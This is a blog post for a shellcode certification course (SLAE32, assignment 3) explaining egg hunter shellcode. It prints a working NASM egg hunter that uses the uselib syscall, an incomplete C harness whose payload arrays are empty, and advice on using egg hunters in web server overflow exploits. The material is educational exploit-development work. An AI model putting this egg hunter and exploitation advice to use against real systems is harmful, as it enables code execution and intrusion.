Skip to main content

SLAE32 - Assignment 3

This is part three (3) in a seven (7) part series for the SecurityTube Linux Assembly Expert 32-bit certification challenge. You can find part one (1) here: Part 1 - Assignment 1.

You can read part two (2) here: Part 2 - Assignment 2.

In assignment three (3), we were given the following instructions:

  1. Study about the Egg Hunter shellcode
  2. Create a working demo of the Egg Hunter
  3. Should be configurable for different payloads

The full code for this assignment can be found here:

Supplemental scripts can be found here:

I must say, I really enjoyed this assignment. I had some experience with Egg Hunters during the Pentesting with Kali (PWK) course offered by Offensive Security. With my new found assembly skills though, this offered a chance to really understand some of the assembly instructions being used. For this assignment I relied heavily on the following articles:

I would encourage you to read Skape's paper. It's pretty much the go to for Egg Hunter shellcode. I actually used one of his Egg Hunters with a different system call to complete this assignment. Let's break down this script. Similar to Skape's paper (section 3.2.1 - ACCESS system call), we find a system call that returns the error we're looking for 0xf2 so that we can safely dereference any pointers/areas of memory and do our best to avoid crashing the system. I found USELIB only requires one parameter and it returns the error value we're looking for. Let's take a look at the man page.

I modified the code from Skape's white paper so it would run on Kali using nasm. I needed to modify the JZ, and JNZ instructions so that they jumped to the correct label incrementer if a match wasn't found. The original code jumped back to the beginning + 0x7 upon unsuccessful match. We can see the original code plus modifications below.

global _start

section .text


 ; This is our egghuter
 ; it needs to search for 
 ; 2 consecutive instances
 ; of our 'hack' string
 ; and then jump into, and execute
 ; our reverse TCP shellcode
 ; we'll try this out with the uselib syscall 86
 ; and hope we can find and execute our shell
 ; in the data section

     xor edx, edx              ; initialize the registers

     or dx, 0xfff              ; helps set up for page size (0xfff = 4095)

     inc edx                   ; increase edx by 1

     lea ebx, [edx + 4]        ; put the address of edx plus 4 bytes 
                               ; into ebx for the syscall
     xor eax, eax              ; clear out eax
     mov al, 0x56              ; #define __NR_uselib       86 (0x56) 
     int 0x80                  ; call it
     cmp al, 0xf2              ; compare the return value in eax
     jz page_alignment         ; short jump to next page if ZF set
     mov eax, 0x6861636b       ; copy our comparison string into eax
     mov edi, edx              ; mov our value in edx into edi
     scasd                     ; compare eax with dword at edi 
                               ; (in other words, check to see if we 
                               ; have 2 consecutive strings)
     jnz incrementer           ; short jump if ZF not set (no match)
     scasd                     ; make the eax comparison again (match, compare again)
     jnz incrementer           ; short jump if ZF not set (no match)
     jmp edi                   ; we found a match! pwnage!!! 

The next part of this assignment was rather funny because I was having trouble thinking through how I would put my shellcode with egg to be hunted. Then I looked in shellcode.c provided in some of the example scripts in order for us to test our shellcode throughout the class. Then it dawned on me. Duh, I should be able to just create another unsigned character array. The array will get put into memory, and voila, we'll execute our egg hunter to search memory for our egg x 2 and actual shellcode. Perfect! So, we define our EGG as a preprocessor macro to make it easy to configure our EGG value as necessary. All we need to do then is to define a pointer to our function (*ret)() and assign our EGGHUNTER to it, and then finally call the function.

#include <stdio.h>
#include <string.h>

#define EGG "\x68\x61\x63\x6b"

unsigned char egghunter[] = \

unsigned char shellcode[] = EGG EGG \

int main()

 printf("Shellcode Length:  %d\n", strlen(egghunter));

 int (*ret)() = (int(*)())egghunter;



If everything works, we should get get our EXECVE /bin/bash -i to work. One important note, the egghunter is only 36 bytes, not the entire shellcode.

Ok, so practically speaking, where can an egg hunter like this come in handy? Well, let's consider a few important details about egg hunter shellcode. One, you have limited space in your initially compromised buffer. Two, you need to have an alternate area of memory to inject your EGG x 2 along with your shellcode and that memory space must have enough room for two (2) eggs and the shellcode. One situation where I've successfully used an egg hunter before is within an Apache vulnerability. I'll let you search for it yourself but think about why a web server would make a great candidate. Say you have an overflow situation in an HTTP header but the size of the buffer isn't big enough for your shellcode, and attempts to extend the buffer space fails miserably. If we were to use an egg hunter in such an exploit, where could we put our eggs and shellcode? If we examine how a web server handles, say, POST requests and accompanying data, we would learn this is a great place for our shellcode and eggs.

Next: Part 4 - Assignment 4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-744


Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( ) and SLAE64 ( ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.

SLAE64 - Assignment 6

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below. Previous Posts: SLAE64 - Assignment 1 SLAE64 - Assignment 2 SLAE64 - Assignment 3 SLAE64 - Assignment 4 SLAE64 - Assignment 5 The requirements for Assignment 6 are as follows: Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching The polymorphic versions cannot be larger 150% of the existing shellcode Bonus points for making it shorter in length than original